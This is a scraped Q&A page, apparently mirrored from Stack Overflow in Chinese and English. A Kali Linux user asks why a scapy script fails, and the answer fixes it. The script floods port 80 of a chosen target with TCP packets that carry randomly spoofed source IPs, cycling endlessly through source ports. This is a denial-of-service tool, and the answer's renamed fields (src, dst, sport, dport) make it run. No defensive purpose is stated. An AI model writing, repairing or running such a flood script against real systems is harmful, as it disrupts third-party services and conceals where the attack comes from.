简体   繁体   English

使用 kali linux 在 python 中遇到问题

[英]Facing a problem in python using kali linux

Code:代码:

import random
import sys
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = "."
   source_IP = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535):
      IP1 = IP(source = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      print(i)
      i = i + 1

But i having a error please help me to findout the error... Error:但我有一个错误请帮我找出错误...错误:

raceback (most recent call last):
  File "/root/Desktop/ip/./main.py", line 16, in <module>
    IP1 = IP(source = source_IP, destination = target_IP)
  File "/usr/lib/python3/dist-packages/scapy/base_classes.py", line 266, in __call__
    i.__init__(*args, **kargs)
  File "/usr/lib/python3/dist-packages/scapy/packet.py", line 179, in __init__
    raise AttributeError(fname)
AttributeError: source

Try src instread of source and dst instead of destination inside the for loop在 for 循环中尝试dstsrc instread 而不是目标

IP1 = IP(src = source_IP, dst = target_IP)
TCP1 = TCP(sport = source_port, dport = 80)

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM